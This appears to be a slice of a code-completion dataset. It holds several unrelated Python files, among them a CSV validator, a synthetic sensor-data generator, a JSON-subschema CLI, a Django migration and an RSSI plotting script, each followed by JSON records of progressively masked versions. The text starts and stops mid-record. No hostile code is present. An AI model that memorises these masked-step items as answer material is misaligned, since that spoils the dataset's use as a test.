Accepts positive whole and decimal numbers.\n \"\"\"\n try:\n # Checking that entered value can be converted to a float.\n # Excludes letters and symbols.\n float(number)\n\n # Checking that validated number is nonnegative.\n if float(number) > 0:\n return True\n return False\n except ValueError:\n return False\n\n def create_reader(self, csvfile):\n \"\"\"\n Summary: Validates a csv file, returns a DictReader object.\n\n Description: Takes one argument: \"data\" (Should be a csv file)\n \"\"\"\n # Determines the dialect of the csv file for processing\n file_dialect = Sniffer().sniff(csvfile.read(1024))\n\n # Resets the read/write pointer within the file\n csvfile.seek(0)\n\n # Checks to see that the csv file imported has a header row,\n # that will be used for later parsing.\n if not Sniffer().has_header(csvfile.read(1024)):\n print('Imported csv file lacks header row')\n exit()\n\n # Resets the read/write pointer within the file\n csvfile.seek(0)\n\n # Creates a DictReader object with the csvfile provided, and the\n # dialect object to define the parameters of the reader instance.\n reader = DictReader(csvfile, dialect=file_dialect)\n\n # Return DictReader object\n return reader\n\n def create_dataset(self, reader=None, data_centers=None):\n \"\"\"\n Summary: Creates a dataset of dcs and their respective times, values.\n\n Arguments: 'reader' defines a reader object used to read a csv file.\n 'dataCenters' is a list containing data center names that are to be\n graphed.\n \"\"\"\n for row in reader:\n # Checking that the 'DC' matches one defined in \"data_centers\" list\n if row.get('DC') in data_centers:\n # Validating DC's value is a positive nonnegative number.\n if not self.valid_value(row.get('Value')):\n # Archiving ignored records for later analysis\n self.ignored_records.append(row)\n else:\n self.accepted_records.append(\n [\n row.get('DC'),\n float(row.get('Time')),\n float(row.get('Value'))\n ]\n )\n\n def get_dataset(self):\n \"\"\"Getter for accepted_records list.\"\"\"\n return self.accepted_records\n",
"step-ids": [
5,
6,
7,
8,
9
]
}
|
[
5,
6,
7,
8,
9
] |
import random
import numpy as np
import pandas as pd
def linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0, parameter_std=1, error_mean=0, error_std=1):
"""
Generate a column that is a random linear combination of
X1, X2 and X3 plus some random error
"""
length = X.shape[0]
param = np.random.normal(loc=parameter_mean,
scale=parameter_std,
size=(num_dependent_cols,))
error = np.random.normal(loc=error_mean,
scale=error_std,
size=(length,))
result = np.zeros(length,)
for i in range(num_dependent_cols):
result += param[i] * X[:, i]
return result + error
np.random.seed(472)
num_data = 10100
num_independent_cols = 3
X = np.zeros((num_data, 1001))
# Generate 3 principal components
for i in range(num_independent_cols):
X[:, i] = np.random.normal(np.random.uniform(-5, 5),
np.random.uniform(1, 5), size=(num_data,))
# Generate other columns
for i in range(3, 1000):
X[:, i] = linear_combination_plus_error(X, num_dependent_cols=num_independent_cols, parameter_std=2, error_std=1)
# Randomly suffle the 1000 feature columns
col_nums = list(range(1000))
np.random.shuffle(col_nums)
X[:, list(range(1000))] = X[:, col_nums]
# Randomly generate Y
X[:, 1000] = linear_combination_plus_error(X, num_dependent_cols=num_independent_cols, parameter_mean=5, parameter_std=2)
X[:, 1000] += abs(min(X[:, 1000])) + 5
# Take only three digits after decimal point
X = np.floor(X * 1000) / 1000
# Split the data into 2 files
X1 = X[:10000, :]
X2 = X[10000:, :]
X1_df = pd.DataFrame(X1)
X1_df.to_csv("./sensors1.csv", header=None, index=None)
X2_df = pd.DataFrame(X2)
X2_df.to_csv("./sensors2.csv", header=None, index=None)
|
normal
|
{
"blob_id": "48f2cc5b6d53c7317ad882947cabbc367cda0fb7",
"index": 905,
"step-1": "<mask token>\n\n\ndef linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0,\n parameter_std=1, error_mean=0, error_std=1):\n \"\"\"\n Generate a column that is a random linear combination of\n X1, X2 and X3 plus some random error\n \"\"\"\n length = X.shape[0]\n param = np.random.normal(loc=parameter_mean, scale=parameter_std, size=\n (num_dependent_cols,))\n error = np.random.normal(loc=error_mean, scale=error_std, size=(length,))\n result = np.zeros(length)\n for i in range(num_dependent_cols):\n result += param[i] * X[:, i]\n return result + error\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0,\n parameter_std=1, error_mean=0, error_std=1):\n \"\"\"\n Generate a column that is a random linear combination of\n X1, X2 and X3 plus some random error\n \"\"\"\n length = X.shape[0]\n param = np.random.normal(loc=parameter_mean, scale=parameter_std, size=\n (num_dependent_cols,))\n error = np.random.normal(loc=error_mean, scale=error_std, size=(length,))\n result = np.zeros(length)\n for i in range(num_dependent_cols):\n result += param[i] * X[:, i]\n return result + error\n\n\nnp.random.seed(472)\n<mask token>\nfor i in range(num_independent_cols):\n X[:, i] = np.random.normal(np.random.uniform(-5, 5), np.random.uniform(\n 1, 5), size=(num_data,))\nfor i in range(3, 1000):\n X[:, i] = linear_combination_plus_error(X, num_dependent_cols=\n num_independent_cols, parameter_std=2, error_std=1)\n<mask token>\nnp.random.shuffle(col_nums)\n<mask token>\nX[:, 1000] += abs(min(X[:, 1000])) + 5\n<mask token>\nX1_df.to_csv('./sensors1.csv', header=None, index=None)\n<mask token>\nX2_df.to_csv('./sensors2.csv', header=None, index=None)\n",
"step-3": "<mask token>\n\n\ndef linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0,\n parameter_std=1, error_mean=0, error_std=1):\n \"\"\"\n Generate a column that is a random linear combination of\n X1, X2 and X3 plus some random error\n \"\"\"\n length = X.shape[0]\n param = np.random.normal(loc=parameter_mean, scale=parameter_std, size=\n (num_dependent_cols,))\n error = np.random.normal(loc=error_mean, scale=error_std, size=(length,))\n result = np.zeros(length)\n for i in range(num_dependent_cols):\n result += param[i] * X[:, i]\n return result + error\n\n\nnp.random.seed(472)\nnum_data = 10100\nnum_independent_cols = 3\nX = np.zeros((num_data, 1001))\nfor i in range(num_independent_cols):\n X[:, i] = np.random.normal(np.random.uniform(-5, 5), np.random.uniform(\n 1, 5), size=(num_data,))\nfor i in range(3, 1000):\n X[:, i] = linear_combination_plus_error(X, num_dependent_cols=\n num_independent_cols, parameter_std=2, error_std=1)\ncol_nums = list(range(1000))\nnp.random.shuffle(col_nums)\nX[:, list(range(1000))] = X[:, col_nums]\nX[:, 1000] = linear_combination_plus_error(X, num_dependent_cols=\n num_independent_cols, parameter_mean=5, parameter_std=2)\nX[:, 1000] += abs(min(X[:, 1000])) + 5\nX = np.floor(X * 1000) / 1000\nX1 = X[:10000, :]\nX2 = X[10000:, :]\nX1_df = pd.DataFrame(X1)\nX1_df.to_csv('./sensors1.csv', header=None, index=None)\nX2_df = pd.DataFrame(X2)\nX2_df.to_csv('./sensors2.csv', header=None, index=None)\n",
"step-4": "import random\nimport numpy as np\nimport pandas as pd\n\n\ndef linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0,\n parameter_std=1, error_mean=0, error_std=1):\n \"\"\"\n Generate a column that is a random linear combination of\n X1, X2 and X3 plus some random error\n \"\"\"\n length = X.shape[0]\n param = np.random.normal(loc=parameter_mean, scale=parameter_std, size=\n (num_dependent_cols,))\n error = np.random.normal(loc=error_mean, scale=error_std, size=(length,))\n result = np.zeros(length)\n for i in range(num_dependent_cols):\n result += param[i] * X[:, i]\n return result + error\n\n\nnp.random.seed(472)\nnum_data = 10100\nnum_independent_cols = 3\nX = np.zeros((num_data, 1001))\nfor i in range(num_independent_cols):\n X[:, i] = np.random.normal(np.random.uniform(-5, 5), np.random.uniform(\n 1, 5), size=(num_data,))\nfor i in range(3, 1000):\n X[:, i] = linear_combination_plus_error(X, num_dependent_cols=\n num_independent_cols, parameter_std=2, error_std=1)\ncol_nums = list(range(1000))\nnp.random.shuffle(col_nums)\nX[:, list(range(1000))] = X[:, col_nums]\nX[:, 1000] = linear_combination_plus_error(X, num_dependent_cols=\n num_independent_cols, parameter_mean=5, parameter_std=2)\nX[:, 1000] += abs(min(X[:, 1000])) + 5\nX = np.floor(X * 1000) / 1000\nX1 = X[:10000, :]\nX2 = X[10000:, :]\nX1_df = pd.DataFrame(X1)\nX1_df.to_csv('./sensors1.csv', header=None, index=None)\nX2_df = pd.DataFrame(X2)\nX2_df.to_csv('./sensors2.csv', header=None, index=None)\n",
"step-5": "import random\nimport numpy as np\nimport pandas as pd\n\ndef linear_combination_plus_error(X, num_dependent_cols=5, parameter_mean=0, parameter_std=1, error_mean=0, error_std=1):\n \"\"\"\n Generate a column that is a random linear combination of\n X1, X2 and X3 plus some random error\n \"\"\"\n length = X.shape[0]\n param = np.random.normal(loc=parameter_mean,\n scale=parameter_std,\n size=(num_dependent_cols,))\n error = np.random.normal(loc=error_mean,\n scale=error_std,\n size=(length,))\n result = np.zeros(length,)\n for i in range(num_dependent_cols):\n result += param[i] * X[:, i]\n return result + error\n \n\nnp.random.seed(472)\nnum_data = 10100\nnum_independent_cols = 3\n\nX = np.zeros((num_data, 1001))\n\n# Generate 3 principal components\nfor i in range(num_independent_cols):\n X[:, i] = np.random.normal(np.random.uniform(-5, 5), \n np.random.uniform(1, 5), size=(num_data,))\n\n\n# Generate other columns\nfor i in range(3, 1000):\n X[:, i] = linear_combination_plus_error(X, num_dependent_cols=num_independent_cols, parameter_std=2, error_std=1)\n\n# Randomly suffle the 1000 feature columns\ncol_nums = list(range(1000))\nnp.random.shuffle(col_nums)\nX[:, list(range(1000))] = X[:, col_nums]\n\n# Randomly generate Y\nX[:, 1000] = linear_combination_plus_error(X, num_dependent_cols=num_independent_cols, parameter_mean=5, parameter_std=2)\nX[:, 1000] += abs(min(X[:, 1000])) + 5\n\n\n# Take only three digits after decimal point\nX = np.floor(X * 1000) / 1000\n\n\n# Split the data into 2 files\nX1 = X[:10000, :]\nX2 = X[10000:, :]\nX1_df = pd.DataFrame(X1)\nX1_df.to_csv(\"./sensors1.csv\", header=None, index=None)\n\nX2_df = pd.DataFrame(X2)\nX2_df.to_csv(\"./sensors2.csv\", header=None, index=None)\n\n\n\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
'''
Created on June 24, 2019
@author: Andrew Habib
'''
import json
import jsonref
import sys
from jsonsubschema.api import isSubschema
def main():
assert len(
sys.argv) == 3, "jsonsubschema cli takes exactly two arguments lhs_schema and rhs_schema"
s1_file = sys.argv[1]
s2_file = sys.argv[2]
with open(s1_file, 'r') as f1:
s1 = json.load(f1)
# s1 = jsonref.load(f1)
with open(s2_file, 'r') as f2:
s2 = json.load(f2)
# s2 = jsonref.load(f2)
print("LHS <: RHS", isSubschema(s1, s2))
print("RHS <: LHS", isSubschema(s2, s1))
if __name__ == "__main__":
main()
|
normal
|
{
"blob_id": "ba78a1e29736c4f109a0efc6f5b9993994661058",
"index": 3527,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef main():\n assert len(sys.argv\n ) == 3, 'jsonsubschema cli takes exactly two arguments lhs_schema and rhs_schema'\n s1_file = sys.argv[1]\n s2_file = sys.argv[2]\n with open(s1_file, 'r') as f1:\n s1 = json.load(f1)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2)\n print('LHS <: RHS', isSubschema(s1, s2))\n print('RHS <: LHS', isSubschema(s2, s1))\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef main():\n assert len(sys.argv\n ) == 3, 'jsonsubschema cli takes exactly two arguments lhs_schema and rhs_schema'\n s1_file = sys.argv[1]\n s2_file = sys.argv[2]\n with open(s1_file, 'r') as f1:\n s1 = json.load(f1)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2)\n print('LHS <: RHS', isSubschema(s1, s2))\n print('RHS <: LHS', isSubschema(s2, s1))\n\n\nif __name__ == '__main__':\n main()\n",
"step-4": "<mask token>\nimport json\nimport jsonref\nimport sys\nfrom jsonsubschema.api import isSubschema\n\n\ndef main():\n assert len(sys.argv\n ) == 3, 'jsonsubschema cli takes exactly two arguments lhs_schema and rhs_schema'\n s1_file = sys.argv[1]\n s2_file = sys.argv[2]\n with open(s1_file, 'r') as f1:\n s1 = json.load(f1)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2)\n print('LHS <: RHS', isSubschema(s1, s2))\n print('RHS <: LHS', isSubschema(s2, s1))\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "'''\nCreated on June 24, 2019\n@author: Andrew Habib\n'''\n\nimport json\nimport jsonref\nimport sys\n\nfrom jsonsubschema.api import isSubschema\n\n\ndef main():\n\n assert len(\n sys.argv) == 3, \"jsonsubschema cli takes exactly two arguments lhs_schema and rhs_schema\"\n\n s1_file = sys.argv[1]\n s2_file = sys.argv[2]\n\n with open(s1_file, 'r') as f1:\n s1 = json.load(f1)\n # s1 = jsonref.load(f1)\n with open(s2_file, 'r') as f2:\n s2 = json.load(f2)\n # s2 = jsonref.load(f2)\n\n print(\"LHS <: RHS\", isSubschema(s1, s2))\n print(\"RHS <: LHS\", isSubschema(s2, s1))\n\n\nif __name__ == \"__main__\":\n\n main()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
# Generated by Django 3.1.2 on 2021-02-13 14:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('post', '0014_profilepic_user'),
]
operations = [
migrations.CreateModel(
name='profile_pic',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('user', models.CharField(max_length=100)),
('pic', models.ImageField(blank=True, null=True, upload_to='profilepicture/')),
],
),
]
|
normal
|
{
"blob_id": "bf05a096956ca4f256832e2fc6659d42c5611796",
"index": 6712,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('post', '0014_profilepic_user')]\n operations = [migrations.CreateModel(name='profile_pic', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('user', models.CharField(max_length=\n 100)), ('pic', models.ImageField(blank=True, null=True, upload_to=\n 'profilepicture/'))])]\n",
"step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('post', '0014_profilepic_user')]\n operations = [migrations.CreateModel(name='profile_pic', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('user', models.CharField(max_length=\n 100)), ('pic', models.ImageField(blank=True, null=True, upload_to=\n 'profilepicture/'))])]\n",
"step-5": "# Generated by Django 3.1.2 on 2021-02-13 14:40\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('post', '0014_profilepic_user'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='profile_pic',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('user', models.CharField(max_length=100)),\n ('pic', models.ImageField(blank=True, null=True, upload_to='profilepicture/')),\n ],\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
#%%
# -*- coding: utf-8 -*-
import numpy as np
import plotly
from plotly.subplots import make_subplots
import plotly.graph_objects as go
import pandas as pd
import os
output_directory = r'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/figures'
antennas = ['original_whip']
folder = r'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/data'
ri_filenames = []
for i_angle in np.arange(0, 360, 45):
ri_filenames.append('r%di%d.csv'%(i_angle, i_angle))
ri_filenames.append('r%di%d.csv'%(i_angle+45, i_angle))
ri_filenames.append('r360i360.csv')
angle_filenames = ['%d.csv'%(n) for n in np.arange(0, 405, 45)]
distance_filenames = ['%1.2f.csv'%(n) for n in np.arange(.75, 3.25, .25)]
ref_line = dict(color='white', width=1)
# Plot yaw data
for antenna in antennas:
fig = make_subplots(rows=2, cols=1,
subplot_titles=['Initiator RSSI vs. yaw',
'Calculated distance vs. yaw'],
shared_xaxes=True)
rssi_hist2d = []
dist_hist2d = []
experiment = 'orientation_exp1'
dist_lim = [100, 0]
db_lim = [-100, 0]
for filename in ri_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_hist2d.append(column)
column = np.zeros(100)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_hist2d.append(column)
rssi_hist2d = np.array(rssi_hist2d).T
dist_hist2d = np.array(dist_hist2d).T
maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=1)
fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)
fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),
'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})
fig.update_xaxes(title='Angle (°)', row=2, col=1)
fig.update_layout(showlegend=False)
fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)
fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)
fig.write_image(os.path.join(output_directory, 'orientation_exp1_%s.png'%(antenna)))
# Plot pitch data
for antenna in antennas:
fig = make_subplots(rows=2, cols=1,
subplot_titles=['Initiator RSSI vs. pitch',
'Calculated distance vs. pitch'],
shared_xaxes=True)
rssi_hist2d = []
dist_hist2d = []
experiment = 'orientation_exp2'
dist_lim = [100, 0]
db_lim = [-100, 0]
for filename in ri_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_hist2d.append(column)
column = np.zeros(100)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_hist2d.append(column)
rssi_hist2d = np.array(rssi_hist2d).T
dist_hist2d = np.array(dist_hist2d).T
maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=1)
fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)
fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),
'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})
fig.update_xaxes(title='Angle (°)', row=2, col=1)
fig.update_layout(showlegend=False)
fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)
fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)
fig.write_image(os.path.join(output_directory, 'orientation_exp2_%s.png'%(antenna)))
# Plot roll data
for antenna in antennas:
fig = make_subplots(rows=2, cols=1,
subplot_titles=['Initiator RSSI vs. roll',
'Calculated distance vs. roll'],
shared_xaxes=True)
rssi_hist2d = []
dist_hist2d = []
experiment = 'orientation_exp3'
dist_lim = [100, 0]
db_lim = [-100, 0]
for filename in ri_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_hist2d.append(column)
column = np.zeros(100)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_hist2d.append(column)
rssi_hist2d = np.array(rssi_hist2d).T
dist_hist2d = np.array(dist_hist2d).T
maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(0, 765, 45),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=1)
fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)
fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),
'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})
fig.update_xaxes(title='Angle (°)', row=2, col=1)
fig.update_layout(showlegend=False)
fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)
fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)
fig.write_image(os.path.join(output_directory, 'orientation_exp3_%s.png'%(antenna)))
# Plot position data
for antenna in antennas:
fig = make_subplots(rows=2, cols=1,
subplot_titles=['Initiator RSSI vs. position',
'Calculated distance vs. position'],
shared_xaxes=True)
rssi_hist2d = []
dist_hist2d = []
experiment = 'orientation_exp4'
dist_lim = [100, 0]
db_lim = [-100, 0]
for filename in angle_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_hist2d.append(column)
column = np.zeros(100)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_hist2d.append(column)
rssi_hist2d = np.array(rssi_hist2d).T
dist_hist2d = np.array(dist_hist2d).T
maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])
fig.add_trace(go.Heatmap(
x=np.arange(0, 360, 45),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(0, 360, 45),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=1)
fig.add_trace(go.Scatter(x=np.arange(0, 360, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)
fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),
'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})
fig.update_xaxes(title='Angle (°)', row=2, col=1)
fig.update_layout(showlegend=False)
fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)
fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)
fig.write_image(os.path.join(output_directory, 'orientation_exp4_%s.png'%(antenna)))
# Plot separation data
for antenna in antennas:
fig = make_subplots(rows=2, cols=2,
subplot_titles=['Line of sight', 'Blocked'],
shared_xaxes=True)
rssi_los_hist2d = []
dist_los_hist2d = []
experiment = 'distance_los'
dist_lim = [100, 0]
db_lim = [-100, 0]
for filename in distance_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_los_hist2d.append(column)
column = np.zeros(100)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_los_hist2d.append(column)
rssi_los_hist2d = np.array(rssi_los_hist2d).T
dist_los_hist2d = np.array(dist_los_hist2d).T
rssi_blocked_hist2d = []
dist_blocked_hist2d = []
experiment = 'distance_blocked'
for filename in distance_filenames:
data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))
Dist = np.around(data['distance'], 1)
for rssi in data['i_rssi']:
if rssi-5 < db_lim[1]:
db_lim[1] = rssi-5
if rssi+5 > db_lim[0]:
db_lim[0] = rssi+5
for dist in Dist:
if dist-.5 < dist_lim[0]:
dist_lim[0] = dist-.5
if dist+.5 > dist_lim[1]:
dist_lim[1] = dist+.5
dist_lim[0] = np.max([0, dist_lim[0]])
column = np.zeros(200)
hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T
for row in hist:
row_idx = -int(row[0])
column[row_idx] = row[1]/len(data['i_rssi'])
rssi_blocked_hist2d.append(column)
column = np.zeros(1000)
hist = np.array(np.unique(Dist, return_counts=True)).T
for row in hist:
row_idx = int(np.around(row[0]/.1))
column[row_idx] = row[1]/len(Dist)
dist_blocked_hist2d.append(column)
rssi_blocked_hist2d = np.array(rssi_blocked_hist2d).T
dist_blocked_hist2d = np.array(dist_blocked_hist2d).T
maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])
fig.add_trace(go.Heatmap(
x=np.arange(.75, 3.25, .25),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_los_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(.75, 3.25, .25),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_los_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=1)
fig.add_trace(go.Heatmap(
x=np.arange(.75, 3.25, .25),
y=np.arange(db_lim[0], db_lim[1], -1),
z=rssi_blocked_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],
zmin=0, zmax=maxz), row=1, col=2)
fig.add_trace(go.Heatmap(
x=np.arange(.75, 3.25, .25),
y=np.arange(dist_lim[0], dist_lim[1], .1),
z=dist_blocked_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],
zmin=0, zmax=maxz), row=2, col=2)
fig.add_trace(go.Scatter(x=np.arange(.75, 3.25, .25), y=np.arange(.75, 3.25, .25), mode='lines', line=ref_line), row=2, col=1)
fig.add_trace(go.Scatter(x=np.arange(.75, 3.25, .25), y=np.arange(.75, 3.25, .25), mode='lines', line=ref_line), row=2, col=2)
fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),
'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})
fig.update_xaxes(title='Separation (m)', row=2, col=1)
fig.update_xaxes(title='Separation (m)', row=2, col=2)
fig.update_layout(showlegend=False)
fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)
fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)
fig.write_image(os.path.join(output_directory, 'distance_%s.png'%(antenna)))
|
normal
|
{
"blob_id": "3d3b9956a98f11a170d66280abe7f193cef9ccfb",
"index": 808,
"step-1": "<mask token>\n",
